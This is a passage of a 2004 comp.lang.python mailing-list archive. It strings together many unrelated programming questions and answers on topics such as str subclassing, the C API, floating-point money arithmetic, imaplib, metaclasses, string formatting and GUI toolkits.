the following: class SpecialString(str): def __str__(self): return "(" + self + ")" This makes for str(x) => '(foo)' but str(y) => '((foo))' - as expected. Does this accumulation of braces happen in the string itself, or does the formatting routine get called several times at each str() call? How to fix it, depending on the answer? I tried reimplementing __init__() in order to treat the case that a SpecialString is given to the constructor, but with little success. I guess that something like def __init__(self, obj): if isinstance(obj, SpecialString): self = raw(obj) else: self = obj is needed, with raw() giving me the string without added parentheses, bypassing the string representation. If this approach is sensible, what would raw() look like? Or is it best not to mess with __str__() at all, and introduce a render() method? Thanks & greetings, Thomas From fernandezvictor77 at hotmail.com Thu Sep 16 08:45:42 2004 From: fernandezvictor77 at hotmail.com (Ruben) Date: 16 Sep 2004 05:45:42 -0700 Subject: IOERROR Broken Pipe Message-ID: <2e569af.0409160445.70600989@posting.google.com> I am reading a large text file a chunk at a time using the readlines(buffer_size) statement. I get an IOERROR ERRNO 32 Broken Pipe command when I "pipe" the output to MYSQL database using the following command: python script.py | mysql I am using RED HAT 9 Linux. The problem only happens if I use the pipe to MYSQL. It breaks but it gets to process around 1000 MYSQL statements. If I only use the following statement: python script.py The programs runs ok and reads all text records without problems. I do need to sent the pipe to MYSQL so that I can populate a database. I tried using the following statement but it still breaks: import signal signal.signal(signal.SIGPIPE, signal.SIG_DFL) Thanks, Ruben From surfmatj at email.si Mon Sep 6 06:20:37 2004 From: surfmatj at email.si (Matjaz) Date: Mon, 06 Sep 2004 12:20:37 +0200 Subject: Problems with dict and C API Message-ID: <413C39F5.3040200@email.si> Dear all, I have trouble with creating objects with Python C API, subclassed from dict type. What I am trying to do is to subclass a dict class (in Python) and create its instance in a Python extension (C API). When I subclass from the (obsolete) UserDict class it works. When I subclass from the (recommended) dict class, the program fails with the following error: SystemError: classobject.c:518: bad argument to internal function Below is the complete code, both C and Python, as well as a simple example. Please advise what am I missing. Best regards, Matjaz. /* ------------------------------------------------------------------ */ /* example.c */ /* ------------------------------------------------------------------ */ #include "Python.h" PyObject* find_class(const char *module_name, const char *global_name) { PyObject *global = NULL; PyObject *module = NULL; PyObject *err = NULL; PyObject *py_module_name = PyString_FromString( module_name ) ; PyObject *py_global_name = PyString_FromString( global_name ) ; int module_imported = 0; module = PySys_GetObject("modules"); if (module == NULL) return NULL; module = PyDict_GetItem(module, py_module_name); if (module == NULL) { printf("Importing %s\n", module_name); module = PyImport_Import(py_module_name); if ((err = PyErr_Occurred())) if (err == PyExc_ImportError) PyErr_Clear(); else module_imported = 1; } if (module) { global = PyObject_GetAttr(module, py_global_name); if ((err = PyErr_Occurred())) if (err == PyExc_AttributeError) PyErr_Clear(); if (module_imported) Py_DECREF(module); } return global; } static PyObject * ex_test(PyObject *self, PyObject *args) { PyObject *cl, *ob; char *module, *name; if (!PyArg_ParseTuple(args, "ss", &module, &name)) return NULL; printf("Testing '%s' from '%s'...\n", name, module); cl = find_class(module,name); ob = PyInstance_New( cl, NULL, NULL); return ob; } static PyMethodDef example_methods[] = { {"test", ex_test, METH_VARARGS , "test() doc string"}, {NULL, NULL} }; void initexample(void) { Py_InitModule("example", example_methods); } # ------------------------------------------------------------------ # testcl.py # ------------------------------------------------------------------ from UserDict import UserDict class PD(dict): def __init__(self): dict.__init__(self) class UD(UserDict): def __init__(self): UserDict.__init__(self) # ------------------------------------------------------------------ # test.py # ------------------------------------------------------------------ import testcl import example x = example.test("testcl","UD") # This works print x y = example.test("testcl","PD") # This fails print y # SystemError: classobject.c:518: bad argument to internal function From exarkun at divmod.com Sun Sep 5 13:40:40 2004 From: exarkun at divmod.com (Jp Calderone) Date: Sun, 05 Sep 2004 13:40:40 -0400 Subject: Proto-PEP: Overloadable Boolean Operators In-Reply-To: <20040905161729.GD2220@zoran.com> References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <20040905161729.GD2220@zoran.com> Message-ID: <413B4F98.2010303@divmod.com> Miki Tebeka wrote: > Hello greg, > > >>PEP ??? - Overloadable Boolean Operators >>======================================== >> >> Unary: __not__(self) >> >> Binary, phase 1: __and1__(self) __or1__(self) >> >> Binary, phase 2: __and2__(self, other) __or2__(self, other) >> __rand2__(self, other) __ror2__(self, other) >> >> > > Why not just __bool__(self) -> True, False? > IMO this will answer all of your needs and will require less changes. There is already a __nonzero__ special. Presumably more control is desired. Jp From jeff at ccvcorp.com Tue Sep 21 20:43:32 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 21 Sep 2004 17:43:32 -0700 Subject: Why not FP for Money? In-Reply-To: References: Message-ID: <10l1ihn28uov11e@corp.supernews.com> Michael Hobbs wrote: >>What am I missing here? >> >> > >The end result is that you cannot use binary fractions to precisely >represent decimal fractions. To represent decimal fractions in a binary >system, you first need to shift the decimal point so that there is no more >fraction and then work from there. > > I believe that the O.P. understands this, but that it was his contention that the imprecision can be finessed with proper rounding techniques. While it's true that ten cents ($0.10) cannot be precisely represented as a binary fraction (the round-trip imprecision yields 0.10000000000000001), the O.P. is of the opinion that, since any output of an amount will involve throwing away all but a few of those fractional digits, the imprecision error will almost certainly be smaller than the amount of correction involved in rounding. I believe, however, that the O.P. is mistaken. His premise is likely true in the context of simple invoices and the like, where addition and multiplication are the only operations needed. But consider, for example, a program that calculates payments on a real estate mortgage. Given that interest may need to be calculated on a daily basis, and that the daily interest rate is a very small fraction, the imprecision of floating point can then become much more significant relative to the desired quantity. And given that there's a *lot* of calculations over which this imprecision can build (a 30-year mortgage ~= 10957 days), and the exponential nature of the interest calculation, this can become a real issue. Especially when legalities require to-the-penny exactness. It might conceivably be possible to figure out a rounding scheme that would be equivalent to using fixed-point decimals, but I imagine that creating such a scheme, and implementing it in every application that does financial calculations, would be a lot more work than simply writing and using fixed-point math. Jeff Shannon Technician/Programmer Credit International From peter at engcorp.com Tue Sep 14 08:06:37 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 08:06:37 -0400 Subject: comparing datetime with date In-Reply-To: References: Message-ID: Donnal Walter wrote: > I was very surprised to discover that > > >>> import datetime > >>> x = datetime.date(2004, 9, 14) > >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15) > >>> print x == y > True > > How can these two objects be considered equal? Guessing: In http://docs.python.org/lib/datetime-datetime.html it says this """Note: In order to stop comparison from falling back to the default scheme of comparing object addresses, datetime comparison normally raises TypeError if the other comparand isn't also a datetime object. However, NotImplemented is returned instead if the other comparand has a timetuple attribute. This hook gives other kinds of date objects a chance at implementing mixed-type comparison. """ (the docs for the date class say the same). I suspect this means simply that datetime.date *does* use this behaviour to provide a mixed-type comparison that makes sense, to _it_. > Is there a *general* way > to test for date != datetime as well as 4.5 != 4.6? Couldn't say, sorry. -Peter From sjdevnull at yahoo.com Wed Sep 15 12:01:18 2004 From: sjdevnull at yahoo.com (G. S. Hayes) Date: 15 Sep 2004 09:01:18 -0700 Subject: Ranting about the state of Python IDEs for Windows References: <864d3709040913131077f1732d@mail.gmail.com> <96c2e938.0409141356.3a689f@posting.google.com> <1r3c1k547v.fsf@rovereto.ifi.uio.no> Message-ID: <96c2e938.0409150801.1cf6ae1@posting.google.com> Kjetil Torgrim Homme wrote in message news:<1r3c1k547v.fsf at rovereto.ifi.uio.no>... > [Carlos Ribeiro]: > > It's useful, but it misses one feature of my wish > > list: persistence, or the ability to restart working exactly when > > I left things some time later. > > this might be nice, but is it really worthwhile? I only restart my > session a couple a times per year, and I'm not sure it is a good idea > to recreate the clutter of windows when I log back in. sometimes > going back to a clean slate is healthy. most of the applications I > use _do_ have session support, but I haven't enabled it. Session management rocks. I use it frequently, as I use the same machine for development and live music visualization stuff at parties. It's quite nice to be able to save the dev session, drag the machine down to a party, set it up to show the pretty pictures on the big-screen TV, then restart my dev session when the party's over. It's especially nice that if a bug shows up during the party I can start the same dev session that I use normally under the kernel I use for parties, fix the bug quickly, and get things showing again. From jepler at unpythonic.net Mon Sep 13 12:14:42 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Mon, 13 Sep 2004 11:14:42 -0500 Subject: IMAP - get size of mailboxes In-Reply-To: References: Message-ID: <20040913161442.GH20186@unpythonic.net> I played with imaplib a bit, and I think you want to use something like # Find the first and last messages m = [int(x) for x in msg[0].split()] m.sort() message_set = "%d:%d" % (m[0], m[-1]) # Get the RFC822.SIZE for each message result, sizes_response = M.fetch(message_set, "(UID RFC822.SIZE)") .. and parse sizes_response which looks like this: >>> for i in range(10): print sizes_response[i] ... 1 (UID 1 RFC822.SIZE 889) 2 (UID 3 RFC822.SIZE 3386) 3 (UID 4 RFC822.SIZE 2629) 4 (UID 5 RFC822.SIZE 989) 5 (UID 6 RFC822.SIZE 1566) 6 (UID 7 RFC822.SIZE 1591) 7 (UID 8 RFC822.SIZE 1894) 8 (UID 9 RFC822.SIZE 1546) 9 (UID 10 RFC822.SIZE 1372) 10 (UID 11 RFC822.SIZE 917) Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From aleaxit at yahoo.com Tue Sep 7 04:30:21 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 10:30:21 +0200 Subject: Anyone know anything named DX? References: <20040901221925.2128958333.EP@zomething.com> <1stv02-qlp.ln1@home.rogerbinns.com> <2q55tcFrgjv1U1@uni-berlin.de> Message-ID: <1gjqlvl.1wxc90o5nbl3mN%aleaxit@yahoo.com> Leif K-Brooks wrote: > Roger Binns wrote: > > I did actually send an email to Google labs suggesting they come > > up with an "naming" tool where you could suggest what style of > > name you wanted (eg scientific, Italian, computery) and it would > > generate random strings of that form with no entries in the > > index. They never responded. > > That actually wouldn't be very hard to do on your own. You'd just have > to get long word (phrase?) lists for each type of name (and maybe a > general list that'd be used for all types), then use Markov Chains to > generate a name from one of the lists. Then check how many results you > get from the Google API, and generate a new one if there are any. > > Maybe I'll try it next time I'm in the mood to code something random... There's a recipe for the first part of this (generating non-totally-ranom passwords by pastiche, i.e. Markov Chain) in the 1st printed edition of the Cookbook -- it would be neat to add a back-end for the second part, the check with the Google API... Alex From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sat Sep 4 18:09:44 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Sun, 5 Sep 2004 00:09:44 +0200 Subject: Dbase Connection References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com> <20040904174801.07582.00000186@mb-m11.aol.com> Message-ID: Hi ! For littles tables, OK ; but if table(s) has more 10 000 000 records... Pof ! From daniel at syrinx.net Tue Sep 21 19:08:24 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Tue, 21 Sep 2004 19:08:24 -0400 Subject: python ides In-Reply-To: References: <41507c8f$0$25693$636a15ce@news.free.fr> <2rbgq9F16q2g8U2@uni-berlin.de> Message-ID: <2rbqaoF185cfiU3@uni-berlin.de> Peter Hansen wrote: > Daniel Ellison wrote: > >> Peter Hansen wrote: >> >>> -this-thread-was-really-about-the-ides-of-python-ly y'rs, >> >> >> Ah, but this issue does bring into question the integrity of the OP >> and the resulting validity of his opinions... > > > Dang! I was sure you would get the "The Ides of Python" bit... > Sorry, I know it's not the 13th of the month, so maybe it wasn't > an obvious pun to (try to) make. > > -Peter Well I use Vim, so I have Bewared (?? Beworn?) the Ides of Python for many years. :p -this-thread-was-actually-about-the-op's-change-of-skin-ly y'rs, Dan From lbates at swamisoft.com Thu Sep 23 14:23:49 2004 From: lbates at swamisoft.com (Larry Bates) Date: Thu, 23 Sep 2004 13:23:49 -0500 Subject: spliting a list by nth items References: Message-ID: I believe you meant somthing like: non_nth_items = [items[i-1] for i in range(1,len(items)-1) if i % n] I don't think the "if x % n" won't work on his list of items Larry Bates "Michael Hoffman" wrote in message news:civ1bq$4qp$1 at pegasus.csx.cam.ac.uk... > Steven Bethard wrote: > >> I have a list in a particular order that I want to split into two >> lists: the list of every nth item, and the list of remaining items. It's >> important to maintain the original order in both lists. >> >> So the first list is simple: >> >> nth_items = items[::n] >> >> The second list is what's giving me trouble. > > non_nth_items = [x for x in items if x % n] > -- > Michael Hoffman From steven.bethard at gmail.com Sat Sep 25 02:34:54 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Sat, 25 Sep 2004 06:34:54 +0000 (UTC) Subject: Counter for items in lists in lists? References: Message-ID: Charlotte Henkle fgm.com> writes: > I'm pondering how to count the number of times an item appears in > total in a nested list. How about this: >>> myList=[['a','b','c','d'],['a','f','g','h'],['a','b','x','y']] >>> def count(item): ... if not isinstance(item, list): ... return {item:1} ... counts = {} ... for i in item: ... for key, ct in count(i).items(): ... counts[key] = counts.get(key, 0) + ct ... return counts ... >>> count(myList) {'a': 3, 'c': 1, 'b': 2, 'd': 1, 'g': 1, 'f': 1, 'h': 1, 'y': 1, 'x': 1} Steve From jeff at ccvcorp.com Thu Sep 16 22:59:17 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 16 Sep 2004 19:59:17 -0700 Subject: Need script to download file at known address In-Reply-To: References: <1gk5zhe.1s52tcf7c6ucjN%aleaxit@yahoo.com> Message-ID: <10kkkkon0aoqj03@corp.supernews.com> Radioactive Man wrote: >Looking back through the documentation, I see that open() is really an >alias for file(). > For now... but (despite what those docs imply) it's really best to stick with using open() and don't worry about the existence of file() unless you're trying to subclass it... (GvR has recently said that he never intended for file() to replace open(), and that the direct use of file() is not preferred... which surprised a lot of us, apparently including the person who wrote those docs. :) ) > Are there any variants of the "open" commmand that >allow location (drive and directory) of the file to be specified as >well, for example, if I wanted to save the file as >"D:\binaries\trash.gif" instead of the default location? > As a matter of fact, the standard open() will handle that just fine -- it accepts a pathname, rather than just a filename, so you can feed it an absolute path like your example or a relative path (e.g., subdir\trash.gif or ..\siblingdir\trash.gif) and it'll be perfectly happy. The one catch is that, on Windows, the directory separator conflicts with the escape character, '\'. So when typing path literals, be sure to either always use double backslashes ( "d:\\binaries\\trash.gif" ) or 'raw' strings ( r"d:\binaries\trash.gif" ) so that your \trash doesnt become [tab]rash. Or better yet, use os.path.join() (and the other os.path functions) to construct your paths. Jeff Shannon Technician/Programmer Credit International From aleaxit at yahoo.com Mon Sep 27 12:49:08 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 27 Sep 2004 18:49:08 +0200 Subject: Metaclass with name overloading. References: <1gks231.p4u2yr14s3pwfN%aleaxit@yahoo.com> <1gks5og.1iwnfub1tnkj0xN%aleaxit@yahoo.com> Message-ID: <1gksb2v.lfx2n28qb8teN%aleaxit@yahoo.com> Carlos Ribeiro wrote: ... > Forgive me, because I've made a big confusion. For some reason, I > assumed that the __metaclass__ statement had to be the first one on > the class declaration. I don't know why. Probably because all examples > that I have seen so far have were done like that, and in a way, it > made sense to me -- probably because I wanted it to be that. Ah, I see. There is no such constraint, nor does Python need to 'peek' into the class body _at all_ trying to find all the ways in which the name __metaclass__ could be bound, even if it was the first statement to do that binding. E.g., class foo: class __metaclass__(type): ... or class bar: from baz import fee as __metaclass__ and a bazillion other possibilities to bind name '__metaclass__' in the class body. Python just executes the class body, _then_ checks if '__metaclass__' is a key in the resulting dictionary -- that's all. WAY simpler and more general, this way. > I think that I'm trying to do too many thing at once, with more > enthusiasm than solid knowledge. I really feel that I'm on the right > path, but I'm still missing a lot of stuff. I'll try to rest a little, > think carefully about all the ideas that have popped in my mind over > the past week, and try to study it a little better *before* trying to > post again. Real thanks for all the help. You're welcome! Sure, metaclasses are tempting when one is trying to shoehorn not-quite-feasible things into Python. And I do appreciate that one really prefers declarative syntax sometimes... but... In AB Strakt's CAPS framework, we started out with purely-executable ways to build Business Logic Modules (calls such as 'blm = MakeBlm(...)' and 'ent = blm.addEntity(...)' etc etc), then we moved to a simple "interpreter" churning simple data structures (and doing the executable-ways of BLM creation under the covers), finally designed a dedicated, purely declarative language (informally known as 'blam'), with somewhat Pythonesque syntax, to express each BLM (basically the result of an Entity-Relationship Diagram analysis, plus embedded Python code for 'trigger'-like actions, and the like) -- so, now, we parse 'blam' modules into AST's, walk the AST's to generate the needed Python code, etc. A dedicated declarative "small language" is, I believe, a better idea than shoehorning a declarative language into Python. It lets us choose the best syntax more freely, provide clearer error messages when something is wrong, process a BLM in alternate ways (e.g. to produce ERD graphics rather than executable forms), etc. However, I understand the charm of the alternative "embedding" idea. The ability to use something else than a dict for a frame's f_locals, in any case, _would_ be neat. Your other ideas about anonymous members would require more -- executing the 'function' that's built from the class body's code-object in a special state where expression's results aren't just thrown away but processed (much like an interactive interpreter does -- but merging that with function execution is still somewhat of a challenge...). For all this sort of ideas, a good grasp of the relevant Python internals would help -- if you know enough C, it's mostly not THAT hard, as said internals are mostly quite cleanly coded (with a few exceptions where speed is paramount, or regarding the parsing itself, which isn't the most readable parser in the world;-)... Module dis is your friend -- you can disassemble any piece of code that interests you to see what bytecode it produces. You can then dip into ceval.c to see exactly what happens on this bytecode or that... it's a really fun process of learning, really! Alex From peter at engcorp.com Tue Sep 28 17:20:20 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 Sep 2004 17:20:20 -0400 Subject: os.system vs. Py2Exe In-Reply-To: <10lji3nso28vge5@corp.supernews.com> References: <81a41dd.0409280200.1a74edd1@posting.google.com> <77ce170c.0409280647.7e98e76d@posting.google.com> <81a41dd.0409281107.5fd1c525@posting.google.com> <10lji3nso28vge5@corp.supernews.com> Message-ID: Jeff Shannon wrote: > I suspect that the situation here is that you've got some unusual WinXP > setting that's telling it that .txt files are executable in some way. > If os.system('file.txt') works on your system, then it's your system > that's the odd one; Python (and the other computer) are behaving as > expected. (It's possible, in Win2K/WinXP, to register particular > extensions as 'executable' through a specific other program; this is how > .py scripts are handled, so typing 'script.py' is equivalent to typing > 'python script.py'.) > > Remember, os.system() is roughly equivalent to typing the argument at a > command line. Does typing "myfile.txt" at a commandline prompt open > that file in a text editor? (Hint -- it shouldn't, under normal > circumstances.) Unfortunately for your theory, on XP typing just the name of the file (at least with a .txt file) does indeed open it in the associated application. I suspect the "other" machine he is using is not an XP machine, and thus not suffering from such unexpected behaviour. Thanks, Mickysoft... -Peter From rarawlinson at siscom.net Thu Sep 9 14:16:28 2004 From: rarawlinson at siscom.net (Robert A. Rawlinson) Date: Thu, 09 Sep 2004 14:16:28 -0400 Subject: Newbe - Error starting Python - SOLVED In-Reply-To: <41406a34$0$99874$9a6e19ea@news.newshosting.com> References: <41406a34$0$99874$9a6e19ea@news.newshosting.com> Message-ID: <41409dbe$0$99890$9a6e19ea@news.newshosting.com> Robert A. Rawlinson wrote: > I am new to Python. When I tried to start it on my Suse 9.1 system I got > a KDEesktop message that said: Service 'searchproviders/python. Desktop > is malformatted. > What is this and how can I fix it? TIA > Bob I was using the run in the start menu. It worked fine when I used a shell to start it. Bob From cmetzler at speakeasy.snip-me.net Mon Sep 20 19:57:55 2004 From: cmetzler at speakeasy.snip-me.net (Chris Metzler) Date: Mon, 20 Sep 2004 19:57:55 -0400 Subject: Floating-point glitches with the math module. Bug? Or am I missing something? References: Message-ID: On Mon, 20 Sep 2004 18:13:06 -0400, Chris Metzler wrote: > > I'm getting some extremely odd results using the trig functions > in the math module. Upon further investigation, it looks like the series used to compute trig functions in the math module are truncated at a surprisingly small number of terms. >>> print math.acos(math.cos(2e-2)) 0.02 >>> print math.acos(math.cos(2e-3)) 0.00200000000002 >>> print math.acos(math.cos(2e-4)) 0.000199999999726 >>> print math.acos(math.cos(2e-5)) 2.00000008274e-05 >>> print math.acos(math.cos(2e-6)) 1.99997787816e-06 >>> print math.acos(math.cos(2e-7)) 1.99920056239e-07 >>> print math.acos(math.cos(2e-8)) 2.10734242554e-08 >>> print math.acos(math.cos(2e-9)) 0.0 5% error at 2e-8 is awful; and anything below 1.1e-8 is 0, pretty much. I can't find a module in the Library Reference that provides higher-precision functions. Is there one around? Thanks, -c From claird at lairds.us Tue Sep 28 14:08:03 2004 From: claird at lairds.us (Cameron Laird) Date: Tue, 28 Sep 2004 18:08:03 GMT Subject: Using python to convert PDF document to MSWord documents References: <20040928161317.88987.qmail@web8401.mail.in.yahoo.com> Message-ID: In article , Timothy Grant wrote: . . . >Can anyone please suggest me if there any python modules available to >convert PDF document to MSWord documents. If not then can you please >suggest how can i acheive this. . . . From carribeiro at gmail.com Tue Sep 21 08:56:38 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 21 Sep 2004 09:56:38 -0300 Subject: Why not FP for Money? In-Reply-To: References: Message-ID: <864d370904092105567567d701@mail.gmail.com> On 21 Sep 2004 00:25:25 -0700, Chris Barker wrote: > If you were to use FP, you could have your IEEE 754 hardware do the > rounding for you, and get better performance to boot. If you are > rounding to cents at the end anyway, I can't see that the errors you'd > get with 64 bit FP numbers would ever be an issue. I'm not an expert either, but the best way to handle errors of any kind is not to have them first place. Although what you're talking about could possibly work, it would require extra care from the programmer to make sure that all values would be thorougly checked and rounded at the end of each and every operation. I'm not sure if this can be made to work on large scale. The option would be to encapsulate into a special purpose rounded-floating-point class. But then, I'm not sure if the possible gains that you get from the use of IEEE754 accelerated hardware are worth the extra layer; in the end, performance may be end up being similar to the one obtained with a fixed point library. There is another potential problem: I think that the biggest benefits of the IEEE754 hardware would come with complex operations that are directly supported by the hardware. For simple tasks that make the bulk of money-handling code -- sums and multiplications -- integer based code is probably as fast or faster, even with all the checks and the scaling. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From brenNOSPAMbarn at NObrenSPAMbarn.net Sat Sep 25 22:31:33 2004 From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke)) Date: 26 Sep 2004 02:31:33 GMT Subject: up with PyGUI! References: <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> <864d370904092515311da67bb6@mail.gmail.com> Message-ID: Ed Leafe wrote: > I am interested in any alternatives that would benefit our users; > my curiosity is about the payoff for adopting an alternative > approach such as yours. If such a payoff isn't there, I can't spend > a lot of time pursuing it. That's why I'm constantly asking you to > explain the benefit, not just the theory, behind this idea. Well, admittedly I've only begun doing this, but my idea is that the benefit is in readability. Suppose your code is structured like this: class frame(wxFrame): def __init__(self, parent): button1 = wxButton(parent=self, ...) button2 = wxButton(parent=self...) panel = wxPanel(parent=self...) listBox1 = wxComboBox(parent=panel...) listBox2 = wxComboBox(parent=panel...) button3 = wxButton(parent=panel...) text = wxTextCtrl(parent=panel...) sizer1 = wxBoxSizer(...) sizer1.Add(listBox1) sizer1.Add(listBox2) sizer1.Add(button3) sizer1.Add(text) panel.SetSizer(sizer1) sizer2 = wxBoxSizer(...) sizer2.Add(button1) sizer2.Add(button2) sizer2.Add(panel) self.SetSizer(sizer2) # etc. ### How am I supposed to know, just by looking at that, which controls are in which sizers and what the relationship is between the two sizers? I have to visually parse every single line -- not just the creation of each widget, but also the line that adds it to a sizer. And there could easily be an inconsistency -- you might accidentally give a widget a parent that's inconsistent with the sizer you add it to. With a nested structure it becomes clear: class frame(wxFrame): class sizer1(wxBoxSizer): class button1(wxButton): # name, size, etc. class button2(wxButton): # etc. class panel(wxPanel): class sizer2(wxBoxSizer): class listBox1(wxComboBox): # etc. class listBox2(wxComboBox): # etc. class button3(wxButton): # etc. class text(wxTextCtrl): # etc. Now, I can see your point: this does amount to essentially an abuse of the "class" keyword. But to me this is a small price to pay for the increase in readability and the reduction in redundancy. Why should I have to separately specify that: a) a certain widget is being created; b) it has a certain parent; c) it goes in a certain sizer; c) that sizer goes in the parent widget? I regard these all as essentially restatements of a single overall fact about the widget's position in the interface. So, yes, this is a very unusual use for the word "class". But the point here is not the keywords being used. The idea is to have the structure of the GUI reflected clearly in the layout of the code. If Python's syntax were more flexible, this could perhaps be done in other ways -- I'm not saying I want that -- but as it is the only real way to construct nested structures in Python is with class definitions. -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From pfortin at pfortin.com Fri Sep 10 06:46:59 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Fri, 10 Sep 2004 06:46:59 -0400 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> Message-ID: <20040910064659.7a1c66af@gypsy.pfortin.com> On Fri, 10 Sep 2004 08:27:44 +0200 Alex wrote: > Pierre Fortin wrote: > ... > > I was hoping to use the likes of: "%(key)*.*f" % map > > however, unlike with the non-(key) formats, there appears to be no way > > to specify a "*.*" size when a map is used... > > It is not clear to me where you would expect to get the values for those > stars from -- 'map' being a dictionary it has no concept of "ordering", > so there is no concept of "next value" after map['key']. If I had this > kind of problem I would doubtlessly tack it with _two_ formattings, > first one to get the values for the stars (with explicit names), giving > a clean format string, then another to get the value for the data. Say: > > '%%(key)%(width)d.%(prec)df' % map % map > > Not all that readable, alas. Alternatively, you could use a non-keyed > format string and extract things from the map on the RHS...: > > '%*.*f' % [map[x] for x in ('key', 'width', 'prec')] > > I personally consider this a bit more readable, but that's quite > debatable, of course... > > > Alex Thanks to you and Bengt for your patience with this problem... Since I'd already dipped my toe in the dual-map water in an earlier post, a "Duh!" moment occured to me as I read your responses... Realizing that examples rarely show the true complexity of a problem, the answer (for me) lay in keeping the formatting and data maps separate... I find mapped strings immensely more readable/maintainable than the simple same-quantity and gotta-be-in-the-right-order ones: change=["down","up","unchanged"] """On %10s, the closing price of $%6.2f was %s from the day's open of $%6.2f .... .... """ % (Date, Close, change[int(float(Open>= ...], Open, ... ) especially when the string needs to be reworked by re-ordering, adding and/or deleting items. Here's my reasonably (to me :) readable/maintainable solution to this core problem... Only the "fmt" statement needs tweaking to generate the desired appearance. #!/usr/bin/env python def mkdict(**kwargs): return kwargs fmt = { 'wDate':10, 'wOpen':6, 'wHigh':6, 'wLow':6, # width 'wClose':6, 'wVolume':10, 'wAdjClose':6, 'pDate':10, 'pOpen':2, 'pHigh':2, 'pLow':2, # precision 'pClose':2, 'pVolume':0, 'pAdjClose':2 } # data will be read from several thousand files sampledata = [ "9-Sep-04,19.49,20.03,19.35,19.93,60077400,19.93", "8-Sep-04,18.96,19.53,18.92,18.97,52020600,18.96", "7-Sep-04,18.98,19.18,18.84,18.85,45498100,18.84", ] change=["down","up","n/c"] for D in sampledata: Date, Open, High, Low, Close, Volume, AdjClose = D.split(',') map = mkdict(Date=Date, Open=float(Open), High=float(High), Low=float(Low), Close=float(Close), Volume=int(Volume), AdjClose=float(AdjClose), # Change=change[int(float(AdjClose) >= float(Open)) + int(float(AdjClose) == float(Open))] ) # line continuations must be left-justified to avoid extra spaces print "%%(Date)%(wDate)d.%(pDate)ds \ %%(Open)%(wOpen)d.%(pOpen)df \ %%(High)%(wHigh)d.%(pHigh)df \ %%(Low)%(wLow)d.%(pLow)df \ %%(Close)%(wClose)d.%(pClose)df \ %%(Volume)%(wVolume)d.%(pVolume)dd \ %%(AdjClose)%(wAdjClose)d.%(pAdjClose)df \ %%(Change)s \ " % fmt % map Generates: 9-Sep-04 19.49 20.03 19.35 19.93 60077400 19.93 up 8-Sep-04 18.96 19.53 18.92 18.97 52020600 18.96 n/c 7-Sep-04 18.98 19.18 18.84 18.85 45498100 18.84 down At least, now I understand why mappings are the exception to the "*[.*]" rule of formatting... :^) Thanks! Pierre From mailtome200420032002 at yahoo.com Fri Sep 17 09:39:29 2004 From: mailtome200420032002 at yahoo.com (john) Date: 17 Sep 2004 06:39:29 -0700 Subject: How to go about developing in zope References: <4c900ea0.0409160754.2158e732@posting.google.com> Message-ID: <4c900ea0.0409170539.4b314557@posting.google.com> Peter Isselstijn wrote in message news:... > john: > >What is the best way to develop such kinda application in zope? > > I've found it helpful to forget about Zope, just design an object ori?nted > solution for the problem, ignoring persistence for the time being (no > object-relational mapping), map clean URLs to objects and methods, use > plain HTML as templates, and so on. Then, when you're done, you'll have a > perfect Zope application. Are there any tutorial on buliding a data driven(i.e database ) website with zope?? From godoy at ieee.org Wed Sep 15 20:34:06 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 15 Sep 2004 21:34:06 -0300 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) writes: > If you buy BlackAdder, it comes with PyQT and Qt licenses and is cheaper > than the Qt license for C++ development. A great bargain even if you > never use the IDE itself (unless you also want to do C++ dev't). I saw that... It is the most interesting offer on the product that I've seen. The difference is a good one. US$ 399.99... PyQT alone costs 250.00 pounds sterling. I don't know if I have to have a license of Qt too or if it is included with PyQT, I'd have to read more carefully to find it out or ask them that. >> I like the widgets, and the visual, but I can't afford buying a whole >> toolchain for using it. So, I use the tools that are free, that allow > > I believe the "whole toolchain" (BlackAdder -- period) cost about $300 > (==Euro 250) for a one-user license (commercial, with full right to > redistribute the apps you develop). I'm not sure how much you charge > for all of the apps you develop, but if 250 euros (fiscally deducible > from your fees, of course!) make a significant dent in your income, then > I agree that you can't afford Qt. This is not my reality, but 250 euros are more money than a lot of people earn monthly here. Actually, it is the same amount a worker should earn in 3 months if he is paid the minimum salary allowed by the government (actually, there are people that receive as salary less than 1/3 of that minimum...). So, even though *I* can buy, I still think it is an expensive product. Another calculation one should do is the ROI of such an investment. So far, as I said 